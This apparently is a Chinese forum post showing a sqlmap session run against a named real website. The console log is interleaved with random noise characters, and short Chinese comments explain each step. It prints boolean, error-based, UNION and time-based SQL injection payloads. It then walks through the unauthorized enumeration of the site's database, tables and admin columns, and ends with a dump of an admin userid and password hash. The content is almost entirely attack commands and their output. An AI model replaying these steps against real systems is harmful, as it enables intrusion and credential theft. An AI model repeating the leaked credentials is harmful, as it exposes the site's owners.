D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db6 s6 T4 i& u* l- w2 c
ms "Mysql" --current-user /* 注解：获取当前用户名称
% a0 L' W& c# l# |, z' ` sqlmap/0.9 - automatic SQL injection and database takeover tool r) R- k' i& S; v& u) W4 z
http://sqlmap.sourceforge.net starting at: 16:53:54
2 _% O! \ f) t( K[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
^2 Y5 m" S8 k, F: ?& ]# _ session file
( R) }) ? D+ t3 S. ^[16:53:54] [INFO] resuming injection data from session file; \6 `/ F- T$ @# Q( [6 q
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file) u1 u4 s) C" ~: g) s8 L/ h" ]8 O
[16:53:54] [INFO] testing connection to the target url
: T) `4 ?" [% S5 L, psqlmap identified the following injection points with a total of 0 HTTP(s) reque) R3 _8 T9 n+ h; X# V3 G' @* Q
sts:" t" {7 C# K' I
---
# F q) J/ ^1 f) qPlace: GET
g) ?7 ?6 j1 y2 `$ B. z' }Parameter: id1 N8 |4 K1 E8 d7 |" |
Type: boolean-based blind# V" U1 z; h3 _2 Y7 ^
Title: AND boolean-based blind - WHERE or HAVING clause. R& T9 h7 ^/ p- |! J
Payload: id=276 AND 799=799
( w( l* ~7 y; h0 X Type: error-based V" U/ A% z9 K3 S" i
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause. ]% K/ p& W/ @2 p% S( e
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
$ {, _# g# X/ r* j4 D: A# e: L, i120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,589 P' U8 g+ o: ^7 @: X l
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a). V9 V9 |7 A; _9 q
Type: UNION query2 s$ c g5 i1 K1 n# T/ \
Title: MySQL UNION query (NULL) - 1 to 10 columns
! i- h% m; Q& T Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
5 ~$ V1 ?6 `4 h(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
- Q l9 E0 e; w+ `% _CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#; A& e# W+ e& ^
Type: AND/OR time-based blind: I6 b( D N5 J9 ]4 y
Title: MySQL > 5.0.11 AND time-based blind
( e, z1 T" f- `# V7 \: j Payload: id=276 AND SLEEP(5)
8 Y) B% N( ~0 W---: S9 Y! g0 A% A
[16:53:55] [INFO] the back-end DBMS is MySQL
+ @" Y0 r9 h% d1 u3 j0 U; Lweb server operating system: Windows
' G, J/ u0 d# ]$ P/ u9 Bweb application technology: Apache 2.2.11, PHP 5.3.0
2 Z* L- H7 w! M. z# c3 T6 q! c0 g' uback-end DBMS: MySQL 5.07 [4 g7 O4 Q+ d. s2 A
[16:53:55] [INFO] fetching current user0 f6 s: V0 H5 U5 c
current user: 'root@localhost'
) I, ^* G2 F2 Y2 A0 g! d2 j[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou; y0 R1 t: y& {' R
tput\www.wepost.com.hk' shutting down at: 16:53:587 R# a6 @7 t! ]& T
- K! Z6 b" S( s' L( t# I- S" z
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db# y! c- U X8 J+ X. N
ms "Mysql" --current-db /*当前数据库" c! [9 y( Q) ~! s, ]
sqlmap/0.9 - automatic SQL injection and database takeover tool
& D7 f5 X$ \. g6 F: H7 f http://sqlmap.sourceforge.net starting at: 16:54:16" I* s9 h1 K$ z) A# Z% g* r* L* h
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as/ B- u" I0 a3 ~+ ^, }+ P
session file
- }6 n- x. o+ t- q, K+ K& N. f[16:54:16] [INFO] resuming injection data from session file: L8 t& ]$ U( g: T6 ]' h3 Z
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
* g8 T8 k; G: l3 b. B7 t[16:54:16] [INFO] testing connection to the target url
, r/ R$ ^+ D8 tsqlmap identified the following injection points with a total of 0 HTTP(s) reque
B o9 w( |. @sts:
A I5 v4 I# ]1 g. {, m7 \! V---8 l `# y( g% u
Place: GET
' Q' c/ K9 v4 L1 X+ y) L0 iParameter: id$ r w$ u- w2 \( {
Type: boolean-based blind
0 u7 Y5 I+ m. ]& | Title: AND boolean-based blind - WHERE or HAVING clause
! r1 S6 B0 F% [: D4 k Payload: id=276 AND 799=799
% h1 r: a9 h& {0 p& \! v4 J; m0 @ Type: error-based
+ N1 r/ z% ]0 U4 u Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause; x0 B) I7 G- P" a
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,+ {* ^% n. x9 F: z5 _
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,580 ?8 r- e2 l0 c* S6 _5 N, A
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)' D- `# q+ g# C% J/ |3 |2 C
Type: UNION query
8 @" h: R: d2 L" C$ O Title: MySQL UNION query (NULL) - 1 to 10 columns4 U, N. G& u( H& U$ a! S
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR* L: ~1 w2 e$ ]
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
4 V+ I5 r* i* B: |CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
0 d( @; g. y- R, I5 a4 w$ | Type: AND/OR time-based blind ]9 X$ m; X# ?
Title: MySQL > 5.0.11 AND time-based blind0 @# F- t% j+ ]# z: Y! d
Payload: id=276 AND SLEEP(5)
) }9 E7 M. |0 a i# r---
. J( W. {" M# U8 f9 l[16:54:17] [INFO] the back-end DBMS is MySQL
/ ]1 M/ {9 B% Y# s7 Q+ `: yweb server operating system: Windows! d1 u' I5 S) x2 z2 `$ m3 b8 q$ E3 F! u
web application technology: Apache 2.2.11, PHP 5.3.00 q6 V# s( D, w. G+ n5 o, p
back-end DBMS: MySQL 5.0
& |5 U( E6 g& s7 f[16:54:17] [INFO] fetching current database# f; y# Z- I% l( v& I6 S4 H3 H5 ]
current database: 'wepost'
2 O; i0 \- x' I7 ]9 l w[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou: Q5 X/ T0 ~/ o; w0 \& l5 z, M& G
tput\www.wepost.com.hk' shutting down at: 16:54:18
[, }% {, w+ w! \3 Q, X8 FD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db$ C y! \- }4 Z" n* _8 \
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
+ b; p& T- C" j sqlmap/0.9 - automatic SQL injection and database takeover tool
/ Y4 q+ s) E! g, Y' S3 D% h, ?3 [1 [: D http://sqlmap.sourceforge.net starting at: 16:55:25
" r0 E5 _+ ~! K2 K: {[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
- B4 ?2 P1 z4 ]3 H session file5 a8 j0 B* [3 B# S0 X' A- D9 {
[16:55:25] [INFO] resuming injection data from session file1 q2 C, R' p+ T% b" u
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file0 ]' Y$ p$ Z; f% J, Y$ ?
[16:55:25] [INFO] testing connection to the target url
9 c8 O2 t P2 y3 h/ I1 asqlmap identified the following injection points with a total of 0 HTTP(s) reque
% D/ U& A- i w) q( q6 w/ Msts: e; X3 i$ F' m
---" e2 u/ Y- W$ s2 m) C+ D
Place: GET8 M% ]) [4 A. s
Parameter: id/ W4 v" H4 ]( @0 X& u* `6 k T
Type: boolean-based blind
9 t }7 O3 i* \4 g5 o* H4 } Title: AND boolean-based blind - WHERE or HAVING clause# {% P$ S% m: `0 F5 O* q+ F$ U7 m
Payload: id=276 AND 799=799
6 U: C/ j# ]$ X, F Type: error-based
4 z3 C# f. f3 S" e z7 ~" Y1 T# d Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
. d0 ^- N8 t7 X5 P Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,2 e+ c- n' V1 ~5 t
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
' c2 n1 Z) J g* N),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)& q* U3 M) T( d/ ]2 X6 e; z
Type: UNION query
3 b. h# d" u9 @: y Title: MySQL UNION query (NULL) - 1 to 10 columns, w" C) p y) J$ i4 a
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR: U7 e$ I) v- U4 i
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
- K3 X. f" f9 e- fCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
! i( N" G& O0 J- \ Type: AND/OR time-based blind; d6 @8 u$ k5 A; R \
Title: MySQL > 5.0.11 AND time-based blind2 u+ H0 V9 Q. s: D+ F
Payload: id=276 AND SLEEP(5)
" @$ Z" a, K; r9 E---( Y3 g- P9 _# d( w/ j3 ?
[16:55:26] [INFO] the back-end DBMS is MySQL
$ l) N, G! ?; Z1 P' @) _web server operating system: Windows
+ u7 t8 l& O' s( N' P' pweb application technology: Apache 2.2.11, PHP 5.3.0: C! N5 D0 P! E" o6 Q( K
back-end DBMS: MySQL 5.0
. Y# E: T0 k# j- Q, |[16:55:26] [INFO] fetching tables for database 'wepost'
# \* X5 |" M. B7 K[16:55:27] [INFO] the SQL query used returns 6 entries8 k _" o1 M6 q( I: f, S
Database: wepost
& W4 o# b) Q! P8 c4 o" X3 L; o[6 tables]* }( q8 }* u @7 [* f- m5 \3 I- {* ~
+-------------+
4 ~+ L6 j( [) k& d& _| admin |$ g. _3 A# P% o* r/ R9 y1 k1 Z
| article |8 s) o. @' f! Y
| contributor |
9 P7 a7 E+ b! G B8 W| idea |
$ Y2 G& b" T ^| image |
" k5 ], I) P3 g" q7 g, v| issue |9 a$ N; ? ~' t' {6 r
+-------------+0 U, O1 P3 c$ t3 Z n, E1 k% G
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou) k6 G8 h8 h9 o. Y. c
tput\www.wepost.com.hk' shutting down at: 16:55:33
! X& f. `, m, d( W" a: Q4 b0 _9 O) s! r
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db! g1 n# {6 W' i, ?
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
& f* k4 v5 o$ V) V sqlmap/0.9 - automatic SQL injection and database takeover tool& \& \+ l) G8 V' M' ^- i1 a' s
http://sqlmap.sourceforge.net starting at: 16:56:06; G; j2 s8 ^- g/ _. ?% d
sqlmap identified the following injection points with a total of 0 HTTP(s) reque. Y; U4 l6 N& S8 C* k8 G8 Q
sts:# I4 y" F0 W# d( }! I
---# _; o3 V) L% E" H% U+ n4 A
Place: GET9 O9 i5 v: \1 b0 K- p
Parameter: id
) e) j; ?, S. T. a; Q' @ Type: boolean-based blind
! s8 L$ n% p* z$ v Title: AND boolean-based blind - WHERE or HAVING clause
% X2 s. b6 l, e% O Payload: id=276 AND 799=799; `/ m, z4 h" L: H
Type: error-based9 b( R" r a1 a& x% U c# R
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause+ N3 w% y$ G: {# j, F
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
5 p- [" y! l* I0 a' ?/ N120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,580 Y d/ w0 w% u) d0 G# Y3 ^7 {9 t
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
$ k* |, g4 X- C Type: UNION query4 D5 C% s% y- O. C( |- Z, V
Title: MySQL UNION query (NULL) - 1 to 10 columns
" a0 X0 N2 H, h9 M9 C E1 ? Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
; |! V* I4 K, P3 U(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),6 L! y" p. H% X8 U. V s+ O+ D( P
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#$ Z8 U, i, E) j
Type: AND/OR time-based blind- O- M9 w& s; E$ c3 |7 b+ |6 I" P
Title: MySQL > 5.0.11 AND time-based blind
' {3 `3 K) s2 A Payload: id=276 AND SLEEP(5)
* k4 R8 Q# [1 |---' A& Q( N5 o. Z) V) k l
web server operating system: Windows8 I5 K& v0 k8 y+ S
web application technology: Apache 2.2.11, PHP 5.3.0
6 i, k- l& d: d; C% L3 d) Iback-end DBMS: MySQL 5.0
8 D7 y) l' g' ~[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
7 t( f. U( X4 Lssion': wepost, wepost" K# q" I @5 _% J1 j0 a
Database: wepost: A2 @$ e# q4 ^. \, {
Table: admin5 v) w2 g7 H+ Q& G1 e; D' F# B$ v
[4 columns]4 N( R) H6 I( u! u. v. b
+----------+-------------+: g. i! g" z! }# ?) b! R4 b9 @/ _
| Column | Type |6 b' S, c, e) h
+----------+-------------+" K8 J9 a' G3 k; @; w! |
| id | int(11) |
, y d& J; l+ |1 P- _2 C| password | varchar(32) |
- I7 j. S' b4 L| type | varchar(10) |1 V2 R3 @3 c J' u
| userid | varchar(20) |) n$ X8 U) v* u) U3 f* J. Q
+----------+-------------+
# }6 Y7 ?: N6 F3 U" k1 ? shutting down at: 16:56:19
0 x( ]+ q+ E3 q& d& ^' f! q1 _" _# l D
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db8 Q, b8 e2 X. ^ X
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
4 g0 ?4 p4 [% N! s5 D$ o sqlmap/0.9 - automatic SQL injection and database takeover tool& v5 t" R: E1 t# B- G7 W& `( U
http://sqlmap.sourceforge.net starting at: 16:57:14
4 D5 x( e) W3 v$ @ Xsqlmap identified the following injection points with a total of 0 HTTP(s) reque
2 m: K- U/ z& d# f3 N% }sts:( ?- r3 B$ W7 F" S" J
---$ m! z! u: m8 ]; b5 \3 U/ {: R, j
Place: GET
2 W8 }7 o4 p4 K1 B! @6 J$ y, c. sParameter: id
; _3 e# k8 L* u, S7 t Type: boolean-based blind
0 L# L# |& ^( A7 L7 V0 ?- V Title: AND boolean-based blind - WHERE or HAVING clause
8 b( n! [7 _+ \2 l1 B, s Payload: id=276 AND 799=799
/ B- {8 V1 T& @& u6 E( m Type: error-based$ F& E. j% [% z% U; k2 f
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause( H, |, Q: B" H/ a) H& h2 V' w
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' h" `4 h+ n! I7 n- \) Q5 y120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
3 N# z, O( l4 [; h( y( c),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
3 h: m9 X' S' m" {4 M y, T$ L Type: UNION query
& y. H8 e p* j, [ Title: MySQL UNION query (NULL) - 1 to 10 columns1 G' s+ q' g+ ]4 q7 J/ _
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
& h: Z# i) f9 {# h% H(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),* ^7 \! v: m* x9 D* E% K" n- J/ g
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
: I, j8 H9 W# V& h Type: AND/OR time-based blind" m7 L7 D7 F) c& S1 j9 r' C
Title: MySQL > 5.0.11 AND time-based blind) u. ^6 `9 O) ^5 P, B' B
Payload: id=276 AND SLEEP(5)7 n, J$ s; z+ ^& i2 E% L- M& i* _5 i
---
' n7 a7 f% @, c& t C8 ~web server operating system: Windows, y) a+ ?: W) H$ Q; z
web application technology: Apache 2.2.11, PHP 5.3.0$ l4 d4 N$ e. w# I ~
back-end DBMS: MySQL 5.0
0 j3 ?/ F+ n7 e8 f. V( F- Yrecognized possible password hash values. do you want to use dictionary attack o& j% D+ u, H; O, m$ m
n retrieved table items? [Y/n/q] y v0 E) ? L D! _ G3 Y* r* |
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt] ^! w* m5 ?; |% o7 V
do you want to use common password suffixes? (slow!) [y/N] y5 K5 L' }! K& u: m- [6 E
Database: wepost
# W# j+ T! Y- K: H( Q- pTable: admin6 N( q! i5 }6 h3 r
[1 entry]% y' c* b# d3 V
+----------------------------------+------------+
( w0 G8 V# h4 m, \: ?1 q: W- ?. o| password | userid |
# b' k+ \ O' K+----------------------------------+------------+
; p5 A0 _4 |" u8 k| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
/ |! r1 ?$ T& `& N6 j5 x% V4 ?- h% p+----------------------------------+------------+$ j" B& l3 [4 g2 l. T- Q
shutting down at: 16:58:14
% u: x6 x* y, o4 f
6 y% @) E. {+ OD:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对